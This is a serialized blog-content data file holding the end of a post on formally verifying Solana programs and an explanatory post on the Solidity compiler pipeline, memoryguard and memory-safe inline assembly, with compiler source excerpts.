becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":22,"tag":169,"props":30245,"children":30247},{"id":30246},"conclusion",[30248],{"type":27,"value":20252},{"type":22,"tag":23,"props":30250,"children":30251},{},[30252],{"type":27,"value":30253},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":22,"tag":23,"props":30255,"children":30256},{},[30257],{"type":27,"value":30258},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":22,"tag":20097,"props":30260,"children":30261},{},[],{"type":22,"tag":23,"props":30263,"children":30264},{},[30265],{"type":22,"tag":1699,"props":30266,"children":30267},{},[30268,30270,30275,30276,30280],{"type":27,"value":30269},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":22,"tag":69,"props":30271,"children":30273},{"href":20180,"rel":30272},[73],[30274],{"type":27,"value":20184},{"type":27,"value":20186},{"type":22,"tag":69,"props":30277,"children":30278},{"href":20189},[30279],{"type":27,"value":20192},{"type":27,"value":210},{"type":22,"tag":4139,"props":30282,"children":30283},{},[30284],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":30286},[30287,30293,30297,30302,30308,30312],{"id":20255,"depth":1545,"text":20258,"children":30288},[30289,30290,30291,30292],{"id":20261,"depth":1560,"text":20264},{"id":20329,"depth":1560,"text":20332},{"id":21210,"depth":1560,"text":21213},{"id":21250,"depth":1560,"text":21253},{"id":21303,"depth":1545,"text":30294,"children":30295},"Specification: How can we describe what we want our program to do?",[30296],{"id":21417,"depth":1560,"text":21420},{"id":22777,"depth":1545,"text":22780,"children":30298},[30299,30300,30301],{"id":23447,"depth":1560,"text":23450},{"id":23732,"depth":1560,"text":23735},{"id":23876,"depth":1560,"text":23879},{"id":24017,"depth":1545,"text":24020,"children":30303},[30304,30305,30306,30307],{"id":24088,"depth":1560,"text":24091},{"id":25951,"depth":1560,"text":25954},{"id":26752,"depth":1560,"text":24080},{"id":29278,"depth":1560,"text":24085},{"id":30118,"depth":1545,"text":30121,"children":30309},[30310,30311],{"id":30124,"depth":1560,"text":30127},{"id":30225,"depth":1560,"text":30228},{"id":30246,"depth":1545,"text":20252},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":30317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30318,"description":30319,"author":7010,"image":30320,"date":30322,"isFeatured":17,"onBlogPage":17,"tags":30323,"body":30325,"_type":4157,"_id":31744,"_source":4159,"_file":31745,"_stem":31746,"_extension":4162},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":30321,"height":14922,"width":14922},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[5767,30324],"compiler",{"type":19,"children":30326,"toc":31735},[30327,30333,30369,30381,30387,30409,30422,30569,30590,30595,30616,30621,30629,30634,30639,30644,30650,30669,30674,30695,30758,30771,30801,30821,30848,30853,30866,30871,30876,30889,30920,30943,31097,31115,31166,31185,31210,31215,31221,31248,31268,31296,31301,31323,31342,31350,31361,31366,31382,31639,31647,31652,31656,31661,31666,31731],{"type":22,"tag":169,"props":30328,"children":30330},{"id":30329},"introduction",[30331],{"type":27,"value":30332},"Introduction",{"type":22,"tag":23,"props":30334,"children":30335},{},[30336,30338,30344,30345,30349,30351,30358,30360,30367],{"type":27,"value":30337},"What does ",{"type":22,"tag":257,"props":30339,"children":30341},{"className":30340},[],[30342],{"type":27,"value":30343},"memory-safe",{"type":27,"value":7750},{"type":22,"tag":1699,"props":30346,"children":30347},{},[30348],{"type":27,"value":10586},{"type":27,"value":30350}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":22,"tag":69,"props":30352,"children":30355},{"href":30353,"rel":30354},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[73],[30356],{"type":27,"value":30357},"presents some requirements",{"type":27,"value":30359},", but is production code that ",{"type":22,"tag":69,"props":30361,"children":30364},{"href":30362,"rel":30363},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[73],[30365],{"type":27,"value":30366},"violates these requirements",{"type":27,"value":30368}," necessarily unsafe?",{"type":22,"tag":23,"props":30370,"children":30371},{},[30372,30374,30379],{"type":27,"value":30373},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":22,"tag":1699,"props":30375,"children":30376},{},[30377],{"type":27,"value":30378},"memory-safety",{"type":27,"value":30380}," actually means.",{"type":22,"tag":169,"props":30382,"children":30384},{"id":30383},"compiler-pipeline",[30385],{"type":27,"value":30386},"Compiler Pipeline",{"type":22,"tag":23,"props":30388,"children":30389},{},[30390,30392,30399,30401,30408],{"type":27,"value":30391},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":22,"tag":69,"props":30393,"children":30396},{"href":30394,"rel":30395},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[73],[30397],{"type":27,"value":30398},"released in v0.8.13",{"type":27,"value":30400},". Compilation happens ",{"type":22,"tag":69,"props":30402,"children":30405},{"href":30403,"rel":30404},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[73],[30406],{"type":27,"value":30407},"in two main steps",{"type":27,"value":5785},{"type":22,"tag":1867,"props":30410,"children":30411},{},[30412,30417],{"type":22,"tag":1871,"props":30413,"children":30414},{},[30415],{"type":27,"value":30416},"Solidity to YUL IR",{"type":22,"tag":1871,"props":30418,"children":30419},{},[30420],{"type":27,"value":30421},"YUL IR to EVM opcodes",{"type":22,"tag":618,"props":30423,"children":30427},{"className":30424,"code":30425,"language":30426,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[30428],{"type":22,"tag":257,"props":30429,"children":30430},{"__ignoreMap":7},[30431,30461,30482,30494,30501,30513,30533,30541,30562],{"type":22,"tag":264,"props":30432,"children":30433},{"class":1534,"line":1535},[30434,30438,30443,30447,30452,30456],{"type":22,"tag":264,"props":30435,"children":30436},{"style":4328},[30437],{"type":27,"value":13578},{"type":22,"tag":264,"props":30439,"children":30440},{"style":1539},[30441],{"type":27,"value":30442}," (m_viaIR ",{"type":22,"tag":264,"props":30444,"children":30445},{"style":4309},[30446],{"type":27,"value":23719},{"type":22,"tag":264,"props":30448,"children":30449},{"style":1539},[30450],{"type":27,"value":30451}," m_generateIR ",{"type":22,"tag":264,"props":30453,"children":30454},{"style":4309},[30455],{"type":27,"value":23719},{"type":22,"tag":264,"props":30457,"children":30458},{"style":1539},[30459],{"type":27,"value":30460}," m_generateEwasm)\n",{"type":22,"tag":264,"props":30462,"children":30463},{"class":1534,"line":1545},[30464,30469,30473,30477],{"type":22,"tag":264,"props":30465,"children":30466},{"style":4401},[30467],{"type":27,"value":30468},"        generateIR",{"type":22,"tag":264,"props":30470,"children":30471},{"style":1539},[30472],{"type":27,"value":2660},{"type":22,"tag":264,"props":30474,"children":30475},{"style":4309},[30476],{"type":27,"value":5865},{"type":22,"tag":264,"props":30478,"children":30479},{"style":1539},[30480],{"type":27,"value":30481},"contract);\n",{"type":22,"tag":264,"props":30483,"children":30484},{"class":1534,"line":1560},[30485,30489],{"type":22,"tag":264,"props":30486,"children":30487},{"style":4328},[30488],{"type":27,"value":13578},{"type":22,"tag":264,"props":30490,"children":30491},{"style":1539},[30492],{"type":27,"value":30493}," (m_generateEvmBytecode)\n",{"type":22,"tag":264,"props":30495,"children":30496},{"class":1534,"line":1569},[30497],{"type":22,"tag":264,"props":30498,"children":30499},{"style":1539},[30500],{"type":27,"value":1566},{"type":22,"tag":264,"props":30502,"children":30503},{"class":1534,"line":1583},[30504,30508],{"type":22,"tag":264,"props":30505,"children":30506},{"style":4328},[30507],{"type":27,"value":4575},{"type":22,"tag":264,"props":30509,"children":30510},{"style":1539},[30511],{"type":27,"value":30512}," (m_viaIR)\n",{"type":22,"tag":264,"props":30514,"children":30515},{"class":1534,"line":1603},[30516,30521,30525,30529],{"type":22,"tag":264,"props":30517,"children":30518},{"style":4401},[30519],{"type":27,"value":30520},"            generateEVMFromIR",{"type":22,"tag":264,"props":30522,"children":30523},{"style":1539},[30524],{"type":27,"value":2660},{"type":22,"tag":264,"props":30526,"children":30527},{"style":4309},[30528],{"type":27,"value":5865},{"type":22,"tag":264,"props":30530,"children":30531},{"style":1539},[30532],{"type":27,"value":30481},{"type":22,"tag":264,"props":30534,"children":30535},{"class":1534,"line":1612},[30536],{"type":22,"tag":264,"props":30537,"children":30538},{"style":4328},[30539],{"type":27,"value":30540},"        else\n",{"type":22,"tag":264,"props":30542,"children":30543},{"class":1534,"line":1621},[30544,30549,30553,30557],{"type":22,"tag":264,"props":30545,"children":30546},{"style":4401},[30547],{"type":27,"value":30548},"            compileContract",{"type":22,"tag":264,"props":30550,"children":30551},{"style":1539},[30552],{"type":27,"value":2660},{"type":22,"tag":264,"props":30554,"children":30555},{"style":4309},[30556],{"type":27,"value":5865},{"type":22,"tag":264,"props":30558,"children":30559},{"style":1539},[30560],{"type":27,"value":30561},"contract, otherCompilers);\n",{"type":22,"tag":264,"props":30563,"children":30564},{"class":1534,"line":1629},[30565],{"type":22,"tag":264,"props":30566,"children":30567},{"style":1539},[30568],{"type":27,"value":1674},{"type":22,"tag":23,"props":30570,"children":30571},{},[30572,30574,30581,30582,30589],{"type":27,"value":30573},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":22,"tag":69,"props":30575,"children":30578},{"href":30576,"rel":30577},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[73],[30579],{"type":27,"value":30580},"YulStack::optimize",{"type":27,"value":12290},{"type":22,"tag":69,"props":30583,"children":30586},{"href":30584,"rel":30585},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[73],[30587],{"type":27,"value":30588},"Assembly::optimize",{"type":27,"value":210},{"type":22,"tag":23,"props":30591,"children":30592},{},[30593],{"type":27,"value":30594},"In total, there are four steps.",{"type":22,"tag":1867,"props":30596,"children":30597},{},[30598,30602,30607,30611],{"type":22,"tag":1871,"props":30599,"children":30600},{},[30601],{"type":27,"value":30416},{"type":22,"tag":1871,"props":30603,"children":30604},{},[30605],{"type":27,"value":30606},"Optimization of YUL IR",{"type":22,"tag":1871,"props":30608,"children":30609},{},[30610],{"type":27,"value":30421},{"type":22,"tag":1871,"props":30612,"children":30613},{},[30614],{"type":27,"value":30615},"Optimization of EVM opcodes",{"type":22,"tag":23,"props":30617,"children":30618},{},[30619],{"type":27,"value":30620},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":22,"tag":4226,"props":30622,"children":30623},{},[30624],{"type":22,"tag":23,"props":30625,"children":30626},{},[30627],{"type":27,"value":30628},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":22,"tag":23,"props":30630,"children":30631},{},[30632],{"type":27,"value":30633},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":22,"tag":23,"props":30635,"children":30636},{},[30637],{"type":27,"value":30638},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":22,"tag":23,"props":30640,"children":30641},{},[30642],{"type":27,"value":30643},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":22,"tag":169,"props":30645,"children":30647},{"id":30646},"guarantees",[30648],{"type":27,"value":30649},"Guarantees",{"type":22,"tag":23,"props":30651,"children":30652},{},[30653,30654,30661,30663,30668],{"type":27,"value":17914},{"type":22,"tag":69,"props":30655,"children":30658},{"href":30656,"rel":30657},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[73],[30659],{"type":27,"value":30660},"Solidity memory layout",{"type":27,"value":30662}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":22,"tag":1699,"props":30664,"children":30665},{},[30666],{"type":27,"value":30667},"no information about this layout",{"type":27,"value":210},{"type":22,"tag":23,"props":30670,"children":30671},{},[30672],{"type":27,"value":30673},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":22,"tag":23,"props":30675,"children":30676},{},[30677,30679,30685,30687,30693],{"type":27,"value":30678},"Introducing ",{"type":22,"tag":257,"props":30680,"children":30682},{"className":30681},[],[30683],{"type":27,"value":30684},"memoryguard",{"type":27,"value":30686},". If you've ever looked at the output of ",{"type":22,"tag":257,"props":30688,"children":30690},{"className":30689},[],[30691],{"type":27,"value":30692},"solc --ir",{"type":27,"value":30694},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":22,"tag":618,"props":30696,"children":30698},{"className":5768,"code":30697,"language":5767,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[30699],{"type":22,"tag":257,"props":30700,"children":30701},{"__ignoreMap":7},[30702,30720],{"type":22,"tag":264,"props":30703,"children":30704},{"class":1534,"line":1535},[30705,30710,30715],{"type":22,"tag":264,"props":30706,"children":30707},{"style":4284},[30708],{"type":27,"value":30709},"    /// @src 0:26:371  \"contract ",{"type":22,"tag":264,"props":30711,"children":30712},{"style":4293},[30713],{"type":27,"value":30714},"XXX",{"type":22,"tag":264,"props":30716,"children":30717},{"style":4284},[30718],{"type":27,"value":30719}," {...\"\n",{"type":22,"tag":264,"props":30721,"children":30722},{"class":1534,"line":1545},[30723,30728,30732,30737,30741,30745,30749,30754],{"type":22,"tag":264,"props":30724,"children":30725},{"style":4401},[30726],{"type":27,"value":30727},"    store",{"type":22,"tag":264,"props":30729,"children":30730},{"style":1539},[30731],{"type":27,"value":2660},{"type":22,"tag":264,"props":30733,"children":30734},{"style":4344},[30735],{"type":27,"value":30736},"64",{"type":22,"tag":264,"props":30738,"children":30739},{"style":1539},[30740],{"type":27,"value":4380},{"type":22,"tag":264,"props":30742,"children":30743},{"style":4401},[30744],{"type":27,"value":30684},{"type":22,"tag":264,"props":30746,"children":30747},{"style":1539},[30748],{"type":27,"value":2660},{"type":22,"tag":264,"props":30750,"children":30751},{"style":4344},[30752],{"type":27,"value":30753},"0x80",{"type":22,"tag":264,"props":30755,"children":30756},{"style":1539},[30757],{"type":27,"value":21018},{"type":22,"tag":23,"props":30759,"children":30760},{},[30761,30763,30770],{"type":27,"value":30762},"From ",{"type":22,"tag":69,"props":30764,"children":30767},{"href":30765,"rel":30766},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[73],[30768],{"type":27,"value":30769},"the documentation",{"type":27,"value":5423},{"type":22,"tag":4226,"props":30772,"children":30773},{},[30774],{"type":22,"tag":23,"props":30775,"children":30776},{},[30777,30779,30785,30787,30793,30795,30800],{"type":27,"value":30778},"The caller of ",{"type":22,"tag":257,"props":30780,"children":30782},{"className":30781},[],[30783],{"type":27,"value":30784},"let ptr := memoryguard(size)",{"type":27,"value":30786}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":22,"tag":257,"props":30788,"children":30790},{"className":30789},[],[30791],{"type":27,"value":30792},"[0, size)",{"type":27,"value":30794}," or the unbounded range starting at ",{"type":22,"tag":257,"props":30796,"children":30798},{"className":30797},[],[30799],{"type":27,"value":15248},{"type":27,"value":210},{"type":22,"tag":23,"props":30802,"children":30803},{},[30804,30806,30811,30813,30819],{"type":27,"value":30805},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":22,"tag":257,"props":30807,"children":30809},{"className":30808},[],[30810],{"type":27,"value":30684},{"type":27,"value":30812}," return ",{"type":22,"tag":257,"props":30814,"children":30816},{"className":30815},[],[30817],{"type":27,"value":30818},"size + 32",{"type":27,"value":30820},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":22,"tag":23,"props":30822,"children":30823},{},[30824,30826,30833,30835,30840,30842,30847],{"type":27,"value":30825},"An example of this optimization in practice ",{"type":22,"tag":69,"props":30827,"children":30830},{"href":30828,"rel":30829},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[73],[30831],{"type":27,"value":30832},"is the StackLimitEvader",{"type":27,"value":30834},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":22,"tag":1699,"props":30836,"children":30837},{},[30838],{"type":27,"value":30839},"only",{"type":27,"value":30841}," optimization pass that relies on the semantic information communicated by ",{"type":22,"tag":257,"props":30843,"children":30845},{"className":30844},[],[30846],{"type":27,"value":30684},{"type":27,"value":210},{"type":22,"tag":23,"props":30849,"children":30850},{},[30851],{"type":27,"value":30852},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":22,"tag":23,"props":30854,"children":30855},{},[30856,30858,30864],{"type":27,"value":30857},"Fear not, for we can remove this pointer entirely and call ",{"type":22,"tag":257,"props":30859,"children":30861},{"className":30860},[],[30862],{"type":27,"value":30863},"memoryguard(0x60)",{"type":27,"value":30865}," instead. The rest of the pipeline will still work.",{"type":22,"tag":169,"props":30867,"children":30868},{"id":30378},[30869],{"type":27,"value":30870},"Memory Safety",{"type":22,"tag":23,"props":30872,"children":30873},{},[30874],{"type":27,"value":30875},"So what does memory safety mean?",{"type":22,"tag":23,"props":30877,"children":30878},{},[30879,30881,30887],{"type":27,"value":30880},"The Solidity documentation provides ",{"type":22,"tag":69,"props":30882,"children":30884},{"href":30353,"rel":30883},[73],[30885],{"type":27,"value":30886},"a set of constraints",{"type":27,"value":30888},", not a definition.",{"type":22,"tag":4226,"props":30890,"children":30891},{},[30892,30897],{"type":22,"tag":23,"props":30893,"children":30894},{},[30895],{"type":27,"value":30896},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":22,"tag":1867,"props":30898,"children":30899},{},[30900,30905,30910,30915],{"type":22,"tag":1871,"props":30901,"children":30902},{},[30903],{"type":27,"value":30904},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":22,"tag":1871,"props":30906,"children":30907},{},[30908],{"type":27,"value":30909},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":22,"tag":1871,"props":30911,"children":30912},{},[30913],{"type":27,"value":30914},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":22,"tag":1871,"props":30916,"children":30917},{},[30918],{"type":27,"value":30919},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":22,"tag":23,"props":30921,"children":30922},{},[30923,30925,30932,30942],{"type":27,"value":30924},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":22,"tag":69,"props":30926,"children":30929},{"href":30927,"rel":30928},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[73],[30930],{"type":27,"value":30931},"removes the memory guard",{"type":22,"tag":16773,"props":30933,"children":30934},{},[30935],{"type":22,"tag":69,"props":30936,"children":30940},{"href":30937,"ariaDescribedBy":30938,"dataFootnoteRef":7,"id":30939},"#user-content-fn-1",[16780],"user-content-fnref-1",[30941],{"type":27,"value":602},{"type":27,"value":210},{"type":22,"tag":618,"props":30944,"children":30946},{"className":30424,"code":30945,"language":30426,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[30947],{"type":22,"tag":257,"props":30948,"children":30949},{"__ignoreMap":7},[30950,30958,30966,30973,31009,31016,31024,31032,31040,31048,31056,31069,31082,31090],{"type":22,"tag":264,"props":30951,"children":30952},{"class":1534,"line":1535},[30953],{"type":22,"tag":264,"props":30954,"children":30955},{"style":4284},[30956],{"type":27,"value":30957},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":22,"tag":264,"props":30959,"children":30960},{"class":1534,"line":1545},[30961],{"type":22,"tag":264,"props":30962,"children":30963},{"style":4284},[30964],{"type":27,"value":30965},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":22,"tag":264,"props":30967,"children":30968},{"class":1534,"line":1560},[30969],{"type":22,"tag":264,"props":30970,"children":30971},{"emptyLinePlaceholder":17},[30972],{"type":27,"value":4986},{"type":22,"tag":264,"props":30974,"children":30975},{"class":1534,"line":1569},[30976,30981,30986,30991,30995,31000,31005],{"type":22,"tag":264,"props":30977,"children":30978},{"style":4722},[30979],{"type":27,"value":30980},"string",{"type":22,"tag":264,"props":30982,"children":30983},{"style":1539},[30984],{"type":27,"value":30985}," IRGenerator::",{"type":22,"tag":264,"props":30987,"children":30988},{"style":4401},[30989],{"type":27,"value":30990},"memoryInit",{"type":22,"tag":264,"props":30992,"children":30993},{"style":1539},[30994],{"type":27,"value":2660},{"type":22,"tag":264,"props":30996,"children":30997},{"style":4293},[30998],{"type":27,"value":30999},"bool",{"type":22,"tag":264,"props":31001,"children":31002},{"style":1549},[31003],{"type":27,"value":31004}," _useMemoryGuard",{"type":22,"tag":264,"props":31006,"children":31007},{"style":1539},[31008],{"type":27,"value":4463},{"type":22,"tag":264,"props":31010,"children":31011},{"class":1534,"line":1583},[31012],{"type":22,"tag":264,"props":31013,"children":31014},{"style":1539},[31015],{"type":27,"value":1542},{"type":22,"tag":264,"props":31017,"children":31018},{"class":1534,"line":1603},[31019],{"type":22,"tag":264,"props":31020,"children":31021},{"style":4284},[31022],{"type":27,"value":31023}," // This function should be called at the beginning of the EVM call frame\n",{"type":22,"tag":264,"props":31025,"children":31026},{"class":1534,"line":1612},[31027],{"type":22,"tag":264,"props":31028,"children":31029},{"style":4284},[31030],{"type":27,"value":31031}," // and thus can assume all memory to be zero, including the contents of\n",{"type":22,"tag":264,"props":31033,"children":31034},{"class":1534,"line":1621},[31035],{"type":22,"tag":264,"props":31036,"children":31037},{"style":4284},[31038],{"type":27,"value":31039}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":22,"tag":264,"props":31041,"children":31042},{"class":1534,"line":1629},[31043],{"type":22,"tag":264,"props":31044,"children":31045},{"style":4328},[31046],{"type":27,"value":31047}," return\n",{"type":22,"tag":264,"props":31049,"children":31050},{"class":1534,"line":1642},[31051],{"type":22,"tag":264,"props":31052,"children":31053},{"style":1539},[31054],{"type":27,"value":31055},"  Whiskers{\n",{"type":22,"tag":264,"props":31057,"children":31058},{"class":1534,"line":1660},[31059,31064],{"type":22,"tag":264,"props":31060,"children":31061},{"style":1539},[31062],{"type":27,"value":31063},"   _useMemoryGuard ",{"type":22,"tag":264,"props":31065,"children":31066},{"style":4309},[31067],{"type":27,"value":31068},"?\n",{"type":22,"tag":264,"props":31070,"children":31071},{"class":1534,"line":1668},[31072,31077],{"type":22,"tag":264,"props":31073,"children":31074},{"style":1597},[31075],{"type":27,"value":31076},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":22,"tag":264,"props":31078,"children":31079},{"style":4309},[31080],{"type":27,"value":31081}," :\n",{"type":22,"tag":264,"props":31083,"children":31084},{"class":1534,"line":1677},[31085],{"type":22,"tag":264,"props":31086,"children":31087},{"style":1597},[31088],{"type":27,"value":31089},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":22,"tag":264,"props":31091,"children":31092},{"class":1534,"line":1686},[31093],{"type":22,"tag":264,"props":31094,"children":31095},{"style":1539},[31096],{"type":27,"value":7163},{"type":22,"tag":23,"props":31098,"children":31099},{},[31100,31105,31107,31113],{"type":22,"tag":257,"props":31101,"children":31103},{"className":31102},[],[31104],{"type":27,"value":30692},{"type":27,"value":31106}," will now no longer have ",{"type":22,"tag":257,"props":31108,"children":31110},{"className":31109},[],[31111],{"type":27,"value":31112},"memoryguard(0x80)",{"type":27,"value":31114}," as expected.",{"type":22,"tag":618,"props":31116,"children":31118},{"className":5768,"code":31117,"language":5767,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[31119],{"type":22,"tag":257,"props":31120,"children":31121},{"__ignoreMap":7},[31122,31137],{"type":22,"tag":264,"props":31123,"children":31124},{"class":1534,"line":1535},[31125,31129,31133],{"type":22,"tag":264,"props":31126,"children":31127},{"style":4284},[31128],{"type":27,"value":30709},{"type":22,"tag":264,"props":31130,"children":31131},{"style":4293},[31132],{"type":27,"value":30714},{"type":22,"tag":264,"props":31134,"children":31135},{"style":4284},[31136],{"type":27,"value":30719},{"type":22,"tag":264,"props":31138,"children":31139},{"class":1534,"line":1545},[31140,31145,31149,31153,31157,31162],{"type":22,"tag":264,"props":31141,"children":31142},{"style":4401},[31143],{"type":27,"value":31144},"    mstore",{"type":22,"tag":264,"props":31146,"children":31147},{"style":1539},[31148],{"type":27,"value":2660},{"type":22,"tag":264,"props":31150,"children":31151},{"style":4344},[31152],{"type":27,"value":30736},{"type":22,"tag":264,"props":31154,"children":31155},{"style":1539},[31156],{"type":27,"value":4380},{"type":22,"tag":264,"props":31158,"children":31159},{"style":4344},[31160],{"type":27,"value":31161},"128",{"type":22,"tag":264,"props":31163,"children":31164},{"style":1539},[31165],{"type":27,"value":4463},{"type":22,"tag":23,"props":31167,"children":31168},{},[31169,31171,31176,31178,31183],{"type":27,"value":31170},"Semantically, the absence of ",{"type":22,"tag":257,"props":31172,"children":31174},{"className":31173},[],[31175],{"type":27,"value":30684},{"type":27,"value":31177}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":22,"tag":257,"props":31179,"children":31181},{"className":31180},[],[31182],{"type":27,"value":30684},{"type":27,"value":31184}," invariant.",{"type":22,"tag":4226,"props":31186,"children":31187},{},[31188],{"type":22,"tag":23,"props":31189,"children":31190},{},[31191,31192,31197,31198,31203,31204,31209],{"type":27,"value":30778},{"type":22,"tag":257,"props":31193,"children":31195},{"className":31194},[],[31196],{"type":27,"value":30784},{"type":27,"value":30786},{"type":22,"tag":257,"props":31199,"children":31201},{"className":31200},[],[31202],{"type":27,"value":30792},{"type":27,"value":30794},{"type":22,"tag":257,"props":31205,"children":31207},{"className":31206},[],[31208],{"type":27,"value":15248},{"type":27,"value":210},{"type":22,"tag":23,"props":31211,"children":31212},{},[31213],{"type":27,"value":31214},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":22,"tag":169,"props":31216,"children":31218},{"id":31217},"undefined-behavior",[31219],{"type":27,"value":31220},"Undefined Behavior",{"type":22,"tag":23,"props":31222,"children":31223},{},[31224,31226,31231,31233,31238,31240,31246],{"type":27,"value":31225},"How strict is memory safety? When it comes to ",{"type":22,"tag":257,"props":31227,"children":31229},{"className":31228},[],[31230],{"type":27,"value":30684},{"type":27,"value":31232},", only touching memory after 0x80 seems to matter. Is ",{"type":22,"tag":257,"props":31234,"children":31236},{"className":31235},[],[31237],{"type":27,"value":30343},{"type":27,"value":31239}," annotated assembly that touches memory at ",{"type":22,"tag":257,"props":31241,"children":31243},{"className":31242},[],[31244],{"type":27,"value":31245},"[0x40, 0x7f]",{"type":27,"value":31247}," really safe?",{"type":22,"tag":23,"props":31249,"children":31250},{},[31251,31252,31259,31261,31266],{"type":27,"value":17914},{"type":22,"tag":69,"props":31253,"children":31256},{"href":31254,"rel":31255},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[73],[31257],{"type":27,"value":31258},"Solidity documentation",{"type":27,"value":31260}," mentions ",{"type":22,"tag":1699,"props":31262,"children":31263},{},[31264],{"type":27,"value":31265},"undefined behavior",{"type":27,"value":31267}," three times.",{"type":22,"tag":1867,"props":31269,"children":31270},{},[31271,31276,31291],{"type":22,"tag":1871,"props":31272,"children":31273},{},[31274],{"type":27,"value":31275},"The existence of a dangling reference",{"type":22,"tag":1871,"props":31277,"children":31278},{},[31279,31281],{"type":27,"value":31280},"Using verbatim 